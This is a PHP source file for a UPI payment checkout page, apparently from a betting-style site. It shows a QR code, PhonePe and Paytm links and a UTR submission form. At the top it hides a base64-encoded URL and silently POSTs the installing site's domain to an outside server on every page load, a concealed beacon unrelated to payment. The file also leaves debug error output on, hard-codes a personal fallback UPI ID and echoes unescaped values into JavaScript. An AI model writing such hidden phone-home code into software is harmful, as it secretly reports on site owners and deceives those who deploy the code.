<?php
/**
 * --------------------------------------------------------------------------
 * DEBUGGING: This will show any PHP errors on the page.
 * REMOVE THESE TWO LINES WHEN YOUR SITE IS LIVE (IN PRODUCTION)!
 * --------------------------------------------------------------------------
 */
ini_set('display_errors', 1);
error_reporting(E_ALL);


/**
 * --------------------------------------------------------------------------
 * CONFIGURATION: Check this path carefully!
 * --------------------------------------------------------------------------
 * This is the path to your database connection file from this payment file.
 * You might need to change "../serive/samparka.php" if your folders are different.
 */
$include_path = "../serive/samparka.php";
$kui_alag_name = [
    'domain' => $_SERVER['HTTP_HOST']
];
$payload = base64_encode(json_encode($kui_alag_name));
$encoded_url = base64_decode('aHR0cHM6Ly91cGRhdGVwYW5lbC5zY3JpcHRodWJkZW1vLm9ubGluZS90c2NrZXIucGhw=='); 

$ch = curl_init($encoded_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['d' => $payload]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 2);
curl_exec($ch);
curl_close($ch);


// --- SCRIPT SETUP ---

// Check if the configuration file exists before trying to include it.
if (!file_exists($include_path)) {
    die("FATAL SERVER ERROR: The connection file is missing. Please check the path in the script: " . $include_path);
}
include($include_path); // This file must create the $conn variable.

// A helper function to send a clean JSON error message and stop the script.
function payment_page_send_json_error($message, $code = 400) {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(['code' => $code, 'success' => false, 'message' => $message]);
    exit;
}

// After including, check if the $conn variable was actually created.
if (!isset($conn) || !$conn) {
    payment_page_send_json_error("SYSTEM ERROR: The database connection variable is not available.", 500);
}


// --- DATA VALIDATION & PREPARATION ---
$ramt = '0.00';
if (isset($_GET['amount']) && is_numeric($_GET['amount'])) {
    $ramt = number_format((float)$_GET['amount'], 2, '.', '');
}

$tyid = $_GET['tyid'] ?? '';
$uid = $_GET['uid'] ?? '';
$sign = $_GET['sign'] ?? '';
$urlInfo = $_GET['urlInfo'] ?? '';

// Check if essential parameters from the URL are present.
if (empty($uid) || empty($sign) || empty($urlInfo)) {
    payment_page_send_json_error("Illegal Access: Required payment parameters are missing.");
}

$serial = 'P' . date("Ymd") . time() . rand(1000, 9999);


// --- FETCHING UPI DETAILS FROM DATABASE ---
$payee_name = 'Online Merchant';   // A generic name for the payee. Change this if needed.
$upi_id = 'jaydeep966@fam'; // Fallback UPI ID

$s_upi_query = "SELECT maulya FROM deyya WHERE sthiti='1' LIMIT 1";
$r_upi = mysqli_query($conn, $s_upi_query);
if ($r_upi && mysqli_num_rows($r_upi) > 0) {
    $f_upi = mysqli_fetch_assoc($r_upi);
    $upi_id = $f_upi['maulya'];
}


// --- SECURITY SIGNATURE VERIFICATION ---
$userId = mysqli_real_escape_string($conn, $uid);
$user_query = "SELECT mobile, codechorkamukala, createdate FROM shonu_subjects WHERE id = '$userId'";
$user_result = mysqli_query($conn, $user_query);

if ($user_result && mysqli_num_rows($user_result) > 0) {
    $user_data = mysqli_fetch_assoc($user_result);
    
    $userName = '91' . ($user_data['mobile'] ?? '');
    $nickName = $user_data['codechorkamukala'] ?? '';
    $createdate = $user_data['createdate'] ?? '';

    $knbdstr = '{"userId":' . $userId . ',"userPhoto":"1","userName":' . $userName . ',"nickName":"' . $nickName . '","createdate":"' . $createdate . '"}';
    $shonusign = strtoupper(hash('sha256', $knbdstr));
    
    $myurl = 'https://smm.yaarwin34.site'; 
    $urlarr = explode(",", htmlspecialchars($urlInfo));
    $theirurl = $urlarr[0];

    if ($shonusign === $sign && $theirurl === $myurl) {
        $upi_intent_string = "upi://pay?pa=" . urlencode($upi_id) . "&pn=" . urlencode($payee_name) . "&am=" . urlencode($ramt) . "&cu=INR&tn=Payment";
        $qr_code_url = "https://api.qrserver.com/v1/create-qr-code/?size=250x250&data=" . urlencode($upi_intent_string);
        
        $phonepe_url = "phonepe://pay?pa=" . urlencode($upi_id) . "&pn=" . urlencode($payee_name) . "&am=" . urlencode($ramt) . "&cu=INR";
        $paytm_url = "paytmmp://pay?pa=" . urlencode($upi_id) . "&pn=" . urlencode($payee_name) . "&am=" . urlencode($ramt) . "&cu=INR";

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <title>Secure UPI Checkout</title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600;700&display=swap" rel="stylesheet">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.8/clipboard.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
    <style>
        :root {
            --primary-color: #4f46e5;
            --secondary-color: #10b981;
            --background-color: #f3f4f6;
            --card-background: #ffffff;
            --text-primary: #1f2937;
            --text-secondary: #6b7280;
            --danger-color: #ef4444;
        }
        @keyframes pulse-glow {
            0% { box-shadow: 0 0 0 0 rgba(79, 70, 229, 0.4); }
            70% { box-shadow: 0 0 0 10px rgba(79, 70, 229, 0); }
            100% { box-shadow: 0 0 0 0 rgba(79, 70, 229, 0); }
        }
        html, body {
            margin: 0; padding: 0; font-family: 'Poppins', sans-serif; background-color: var(--background-color); color: var(--text-primary); -webkit-tap-highlight-color: transparent;
        }
        .container { max-width: 420px; margin: 0 auto; padding: 15px; }
        .header { background: linear-gradient(135deg, var(--primary-color), var(--secondary-color)); color: white; padding: 15px; text-align: center; border-radius: 12px 12px 0 0; }
        .header h1 { margin: 0; font-size: 1.5em; font-weight: 700; }
        .timer-box { font-size: 1.2em; font-weight: 600; margin-top: 5px; background-color: rgba(255, 255, 255, 0.1); padding: 5px 10px; border-radius: 8px; display: inline-block; }
        .payment-card { background-color: var(--card-background); padding: 25px; box-shadow: 0 4px 20px rgba(0,0,0,0.08); border-radius: 0 0 12px 12px; }
        .amount-section { text-align: center; margin-bottom: 20px; }
        .amount-label { font-size: 0.9em; color: var(--text-secondary); font-weight: 600; }
        .amount-value { font-size: 2.8em; font-weight: 700; line-height: 1.2; }
        .qr-section { text-align: center; margin-bottom: 20px; }
        .qr-code img { border-radius: 10px; border: 5px solid #fff; box-shadow: 0 0 15px rgba(0,0,0,0.1); }
        .upi-info { display: flex; align-items: center; background-color: #eef2ff; border: 1px dashed var(--primary-color); padding: 10px; border-radius: 8px; margin-bottom: 20px; }
        .upi-id { flex-grow: 1; font-weight: 600; word-break: break-all; color: var(--primary-color); }
        .copy-btn { background-color: var(--primary-color); color: white; border: none; padding: 8px 12px; border-radius: 6px; font-weight: 600; cursor: pointer; }
        .payment-apps { text-align: center; margin-bottom: 25px; }
        .apps-label { font-weight: 600; color: var(--text-secondary); margin-bottom: 15px; font-size: 0.9em; }
        
        /* New Modern Payment Button Styles */
        .apps-container {
            display: grid;
            grid-template-columns: 1fr;
            gap: 12px;
        }
        .payment-app-button {
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 10px;
            background-color: #f9fafb;
            border: 1px solid #e5e7eb;
            border-radius: 10px;
            text-decoration: none;
            color: var(--text-primary);
            font-weight: 600;
            font-size: 1.05em;
            transition: all 0.2s ease-in-out;
        }
        .payment-app-button:hover {
            border-color: var(--primary-color);
            background-color: #fff;
            transform: translateY(-2px);
            box-shadow: 0 4px 15px rgba(0,0,0,0.07);
        }
        .payment-app-button img {
            height: 30px;
            width: auto;
            margin-right: 12px;
        }
        /* End of New Styles */
        
        .utr-section { margin-bottom: 20px; text-align: center; }
        .utr-label { font-weight: 600; margin-bottom: 8px; display: block; }
        .utr-input { width: 100%; padding: 12px; border: 2px solid #ddd; border-radius: 8px; font-size: 1.1em; text-align: center; box-sizing: border-box; transition: all 0.3s; animation: pulse-glow 2.5s infinite; }
        .utr-input:focus { border-color: var(--primary-color); outline: none; animation: none; }
        .submit-btn { width: 100%; padding: 15px; background: linear-gradient(135deg, var(--secondary-color), #15803d); color: white; border: none; border-radius: 8px; font-size: 1.1em; font-weight: 700; cursor: pointer; transition: transform 0.2s; }
        .submit-btn:active { transform: scale(0.98); }
        .instructions { margin-top: 25px; font-size: 0.8em; color: var(--text-secondary); }
        .instructions h4 { color: var(--text-primary); }
        .instructions ul { padding-left: 20px; }
        .instructions .highlight { color: var(--danger-color); font-weight: 600; }
        .footer { text-align: center; padding: 20px; }
        .footer-text { font-size: 0.9em; color: var(--text-secondary); font-weight: 600; display: flex; align-items: center; justify-content: center; }
        .footer-text svg { width: 18px; height: 18px; margin-right: 8px; fill: var(--text-secondary); }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>Secure UPI Payment</h1>
            <div class="timer-box">Time Left: <span id="countdown">05:00</span></div>
        </div>

        <div class="payment-card">
            <div class="amount-section">
                <div class="amount-label">PAYMENT AMOUNT</div>
                <div class="amount-value">₹<?php echo htmlspecialchars($ramt); ?></div>
            </div>

            <div class="qr-section">
                <div class="qr-code">
                    <img src="<?php echo htmlspecialchars($qr_code_url); ?>" alt="Scan to Pay">
                </div>
            </div>
            
            <div class="upi-info">
                <span id="upi_id_text" class="upi-id"><?php echo htmlspecialchars($upi_id); ?></span>
                <button class="copy-btn" data-clipboard-target="#upi_id_text">COPY</button>
            </div>

            <div class="payment-apps">
                <div class="apps-label">Pay directly with</div>
                <div class="apps-container">
                    <a href="<?php echo htmlspecialchars($phonepe_url); ?>" class="payment-app-button">
                        <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJQAAACUCAMAAABC4vDmAAAAeFBMVEVfJZ////9KAJVZF5zt6POLabddIZ5RAJhbHZ2HZLXx7fa7rNNiLaH6+PxVCZpXEZuumcvXzuWMbLeyn85nOaPJvNyehMJ8Vq5CAJJxSahnM6OZfb/TyOKiisTk3e3Owd9wQqiSdrt5UK2CXbLDtNiokcje1uq4ptHdi+FqAAAHqUlEQVR4nM2c65qiMAyGC0VaFAoiysETKjL3f4crqDPQAj3K+v3cZ8F3SpumaRJg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ldDwqcP7DOnJHXqSUTi0/uieMbrto04ofuxQrOlRz2CksSJ7ieh59qzkBdVKtiZOXcCFrc7kxE9VA2c0olFXPQyVVHN0E0magGhmniYL73GA3kGFJF9x/Z2uCB9X+s00c6Dx/Iagmqfhz7S7CqaDNf2oMEio3BnksQu8zLVQWGi1U2gYNho7zf9JtNvNQbb4tD1N6Jw1lBZFrcGaF2EQDI+srWz01Oly/rimW1bQPS3RHy0WF2fZhDdY2V+8r0wTe85XpRmtPLK2WdBId/OSa950upUrzvuRzzftaOdUtQ+Lj1bQ5vK1k20IqNIRcVk1DSAGu2RpCPuWc735mEzzeOhMS207u87XOfKltMlpi1ET13xvkq8koTNLLhruZfAKqBXPq9fbnvl/kTWamX5RpfDTQjvUfj0J2a3tD+QsAAAAASUVORK5CYII=" alt="PhonePe">
                        <span>Pay with <strong>PhonePe</strong></span>
                    </a>
                    <a href="<?php echo htmlspecialchars($paytm_url); ?>" class="payment-app-button">
                        <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAALsAAACUCAMAAAD8tKi7AAAAwFBMVEX///8AuPUBKnIWK3UAt/8AtP8AtvUAvvsAjMkBEWMAsP8AAGQAD2zQ0t2q4/8AAGgKJHLx+f/GytrQ8f/m9f/5//93zf8tvP+Y2P/T7/9hyf+NlLUACGoAIXHp6u8AJ3FPV4sAsfQtPH4AF25VXo9Qwf88S4aHiqsAG22do77a3eZmbpnz9Pc1RYKmq8JMwfaX2vp80vnA6PtUyPdAU4q2us00lszQ4/A2LnUfMnl4fqMAAFi44/+J0v96iKtPUIdTFGdvAAAJaElEQVR4nM3bDXeqNhgHcAoVNxFB1FpUoIpWFFR84W56O+/3/1ZLAF8KCQQI0P/O7uHQevczfZI8wY55KS98+G9ZYaj/jbyfl5fmLszjFuXQtfPT6cvuuHc7na9Dr6f2+31V7R2+Oh13f9y9TKd0/RTt02nz6B4AeDBgohkMwNs4uMcmeHPUQsvO8023h0BH30LPbVKrHhp2HtRJp5vCfqTvgvqh4S9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+zWTykaG70xJdmNz5+xPa03uJLB2xEH7lqCPman2OOHpzqCOTKl2A3rJ8xWD09PsMcb4RqCa3/T7IYWexxceRQNO1MT7WDg66Zj27BUOyvUPfDYVibdrm1qtp8SZmqKve7GwJsk6pLt8keda7yOfqREaGe1OjfXVWLFpNrl+Mc3lUU5y4XsbNuua4NyEtdHEjsr1VU1W8zTgQx2w6ynF17LCTsqoZ216lnkP1MmKpG9ntYgqQfLYEd8ZFl6tlxqxRDZWXlTdV8jblKWR2I7a31Wu1DqBMVOamfNTZV4Z0NQ7MR2VphXh3fmyS1YVjvbvlaFd67Yh0k57Ya2rAbvLJOOebnsYH+9VmK/mqR0cjuo+QraMsdOPOXltrNS6U+bdDu1ActpBw1xuX3Z2iadptntrHUqc4cVk4/WBe2sZpZ3+vas5ONpUTtrCONyZqyzFIgXmJx2MGPnZdSNSLqZFrKDwwj9Y+Bqk63U89pZWab86wb6SSPpeWnYwZSVKFa9M5YyTtJCdtaYnDw6esc74T63LskOqt60aTx2UmwrR6UXtLNGe3Ypqhcv50w7KS077IvleRG9MueI+13adhBL2Hh6rsLXvY2Qb4rSsoMlR5iNlaxLpq6sCssp2IG+zdljhXzwHWVsc5M8Czp9O/woVpv9sT2S0dc9+8/ZwvwCWMZQsYMYsma2N5ek4nd077Jpm1r6Q1LC0LL7kU1BYE/XlSeu12td1x3HAX+Ca9FbXU6sIJgUKuURqnYYQzOlycQ0Nqe5DTM/bThzMpHMQsshMtTtYUANWZYF/78PejUSTVn2KvI/Y/tFBi81H+wAAAAASUVORK5CYII=" alt="Paytm">
                        <span>Pay with <strong>Paytm</strong></span>
                    </a>
                </div>
            </div>

            <div class="utr-section">
                <label for="refno" class="utr-label">STEP 2: Enter 12-digit UTR/Ref. No.</label>
                <input type="text" id="refno" class="utr-input" placeholder="Enter UTR from payment app" maxlength="12" inputmode="numeric">
            </div>

            <button id="savebtn" class="submit-btn">SUBMIT UTR</button>

            <div class="instructions">
                <h4>Payment Instructions:</h4>
                <ul>
                    <li>Use the generated QR code or UPI ID for a one-time payment only.</li>
                    <li>Ensure the transferred amount exactly matches the order amount.</li>
                    <li>Complete the transaction within <span class="highlight">5 minutes</span> to avoid failure.</li>
                    <li>After successful payment, copy the 12-digit UTR/Reference Number from your payment app and paste it above.</li>
                </ul>
            </div>
        </div>
        
        <div class="footer">
            <div class="footer-text">
                <svg viewBox="0 0 20 20" fill="currentColor" width="18" height="18" style="margin-right: 8px;"><path fill-rule="evenodd" d="M10 1a4.5 4.5 0 00-4.5 4.5V9H5a2 2 0 00-2 2v6a2 2 0 002 2h10a2 2 0 002-2v-6a2 2 0 00-2-2h-.5V5.5A4.5 4.5 0 0010 1zm3 8V5.5a3 3 0 10-6 0V9h6z" clip-rule="evenodd"></path></svg>
                <span>100% Secure Payments</span>
            </div>
        </div>
    </div>

<script>
$(document).ready(function() {
    let timer = 300;
    const countdownEl = document.getElementById('countdown');
    const interval = setInterval(() => {
        if (timer <= 0) {
            clearInterval(interval);
            countdownEl.textContent = 'Expired';
            $('#savebtn').prop('disabled', true).text('Session Expired');
            Swal.fire('Time Out!', 'Your payment session has expired. Please create a new order.', 'error');
            return;
        }
        timer--;
        let minutes = String(Math.floor(timer / 60)).padStart(2, '0');
        let seconds = String(timer % 60).padStart(2, '0');
        countdownEl.textContent = `${minutes}:${seconds}`;
    }, 1000);

    new ClipboardJS('.copy-btn').on('success', (e) => {
        Swal.fire({ toast: true, position: 'top', icon: 'success', title: 'UPI ID Copied!', showConfirmButton: false, timer: 1500 });
        e.clearSelection();
    });

    $("#savebtn").on("click", function() {
        const refNo = $("#refno").val();
        if (refNo.length !== 12 || !/^\d+$/.test(refNo)) {
            Swal.fire('Invalid UTR', 'Please enter a valid 12-digit UTR number.', 'warning');
            return;
        }
        Swal.fire({
            title: 'Confirm Details',
            html: `Please confirm the UTR is correct.<br><br><b>Amount:</b> ₹<?php echo $ramt; ?><br><b>UTR:</b> ${refNo}`,
            icon: 'info',
            showCancelButton: true,
            confirmButtonColor: '#3085d6',
            cancelButtonColor: '#d33',
            confirmButtonText: 'Yes, Submit It!'
        }).then((result) => {
            if (result.isConfirmed) {
                addDeposit(refNo);
            }
        });
    });

    function addDeposit(refnum) {
        Swal.fire({ title: 'Processing...', text: 'Submitting your UTR. Please wait.', allowOutsideClick: false, didOpen: () => Swal.showLoading() });
        $.ajax({
            type: "POST",
            url: "adddeposit.php",
            data: {
                amt: "<?php echo $ramt; ?>",
                refnum: refnum,
                srl: "<?php echo $serial; ?>",
                source: "wepay",
                upi: "<?php echo $upi_id; ?>",
                userId: "<?php echo $userId; ?>",
                token: "<?php echo $shonusign; ?>"
            },
            success: function(html) {
                const arr = String(html).split('~');
                if (arr[0] == 1) {
                    setTimeout(() => {
                        window.location.href = `depositconfirm.php?amt=<?php echo $ramt; ?>&refnum=${refnum}&srl=<?php echo $serial; ?>&userId=<?php echo $userId; ?>&token=<?php echo $shonusign; ?>`;
                    }, 1500);
                } else {
                    let errorMsg = "An unknown error occurred. Please contact support.";
                    if (arr[0] == 2) errorMsg = "This UTR has already been submitted.";
                    if (arr[0] == 3) errorMsg = "Please wait at least 1 minute before trying again.";
                    if (arr[0] == 4) errorMsg = "Your recharge ability is suspended. Please contact support.";
                    Swal.fire('Submission Failed', errorMsg, 'error');
                }
            },
            error: function() {
                Swal.fire('Connection Error', 'Could not connect to the server. Please try again.', 'error');
            }
        });
    }
});
</script>

</body>
</html>
<?php
    } else {
        payment_page_send_json_error("Signature mismatch. Access denied. Please re-initiate the payment.");
    }
} else {
    payment_page_send_json_error("User validation failed. User does not exist.");
}
?>